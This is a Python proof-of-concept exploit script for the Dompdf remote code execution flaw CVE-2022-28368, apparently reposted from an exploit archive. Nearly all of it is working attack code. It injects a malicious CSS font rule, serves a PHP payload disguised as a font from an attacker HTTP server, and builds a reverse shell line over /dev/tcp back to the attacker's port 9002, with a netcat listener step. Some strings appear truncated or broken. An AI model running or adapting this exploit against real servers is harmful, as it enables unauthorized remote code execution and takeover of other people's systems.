Dompdf 1.2.1 Remote Code Execution – Torchsec
# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link : https://github.com/rvizx/CVE-2022-28368
import subprocess
import re
import os
import sys
import curses
import requests
import base64
import argparse
import urllib.parse
from urllib.parse import urlparse
def banner():
print('''
\033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit
\033[0mRavindu Wickramasinghe\033[2m | rvz - @rvizx9
https://github.com/rvizx/\033[0mCVE-2022-28368
''')
exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
def get_ip_addresses():
output = subprocess.check_output(['ifconfig']).decode()
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = re.findall(ip_pattern, output)
ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
ip_addresses = list(set(ip_addresses))
ip_addresses.insert(0, 'localhost')
return ip_addresses
def choose_ip_address(stdscr, ip_addresses):
curses.curs_set(0)
curses.noecho()
stdscr.keypad(True)
current_row = 0
num_rows = len(ip_addresses)
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
while True:
stdscr.clear()
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
for i, ip_address in enumerate(ip_addresses):
if i == current_row:
stdscr.addstr(ip_address, curses.A_REVERSE)
else:
stdscr.addstr(ip_address)
stdscr.addstr("\n")
key = stdscr.getch()
if key == curses.KEY_UP and current_row > 0:
current_row -= 1
elif key == curses.KEY_DOWN and current_row < num_rows - 1:
current_row += 1
elif key == curses.KEY_ENTER or key in [10, 13]:
return ip_addresses[current_row]
def help():
print('''
usage:
./dompdf-rce --inject
example:
./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/
notes:
- Provide the parameters in the URL (regardless the request method)
- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce
The program has been successfully tested for RCE on some systems where dompdf was implemented,
But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.
In this application, the same implementation was added for now.
Although it may be pointless at the moment, you can still manually add the payload
by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
- more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')
sys.exit()
def check_url(url):
regex = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
if not re.match(regex, url):
print(f"\033[91m[err]:\033[0m {url} is not a valid url")
return False
else:
return True
def final_param(url):
query_start = url.rfind('?')
if query_start == -1:
query_start = url.rfind('&')
if query_start == -1:
return None
query_string = url[query_start+1:]
for param in reversed(query_string.split('&')):
if '=' in param:
name = param.split('=')[0]
if name:
return name
return None
if __name__ == '__main__':
banner()
ports = ['9001', '9002']
for port in ports:
try:
processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
for line in processes.split("\n"):
if "LISTEN" in line:
pid = line.split()[1]
port = line.split()[8].split(":")[1]
if port == "9001" or port == "9002":
os.system("kill -9 {}".format(pid))
print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')
except:
pass
if len(sys.argv) == 1:
print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
sys.exit(1)
elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
help()
elif len(sys.argv) > 1:
parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject
parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
args = parser.parse_args()
injectpoint = args.inject
dompdf_url = args.dompdf
if not check_url(injectpoint) and (not check_url(dompdf_url)):
sys.exit()
param=final_param(injectpoint)
if param == None:
print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
sys.exit()
ip_addresses = get_ip_addresses()
sip = curses.wrapper(choose_ip_address, ip_addresses)
print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
shell = '''& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''
print("\033[94m[inf]:\033[0m using payload: " +shell)
print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")
decoded_data = base64.b64decode(exploit_font).decode('utf-8')
decoded_data += '\n' + shell
css = '''
@font-face {
font-family:'exploitfont';
src:url('http://'''+sip+''':9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
'''
with open("exploit.css","w") as f:
f.write(css)
with open("exploit_font.php","w") as f:
f.write(decoded_data)
print("\033[94m[inf]:\033[0m starting http server on port 9001..")
http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])
url = "http://"+sip+":9001/exploit_font.php"
echo_output = subprocess.check_output(['echo', '-n', url.encode()])
md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)
md5_hash = md5sum_output.split()[0].decode()
print("\033[94m[inf]:\033[0m url hash: "+md5_hash)
print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")
print("\033[94m[inf]:\033[0m sending the payloads..\n")
url = injectpoint
if url.endswith("/"):
url = url[:-1]
headers = {
'Host': urlparse(injectpoint).hostname,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
}
payload=""
data = '{\r\n"'+param+'": "'+payload+'"\r\n}'
try:
response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
response2 = requests.post(url, headers=headers, data=data, verify=False)
except:
print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
sys.exit()
if response1.status_code == 200 or response2.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
else:
print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))
print("\033[94m[inf]:\033[0m terminating the http server..")
http_server.terminate()
print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
print("\nnc -lvnp 9002")
input("\n\033[93m[ins]:\033[0m press enter to continue!")
print("\033[93m[ins]:\033[0m check for connections!")
del headers['Content-Type']
url = dompdf_url
if url.endswith("/"):
url = url[:-1]
url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"
response = requests.get(
url,
headers=headers,
verify=False, )
if response.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
else:
print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
print("\033[94m[inf]:\033[0m process complete!")
Gloss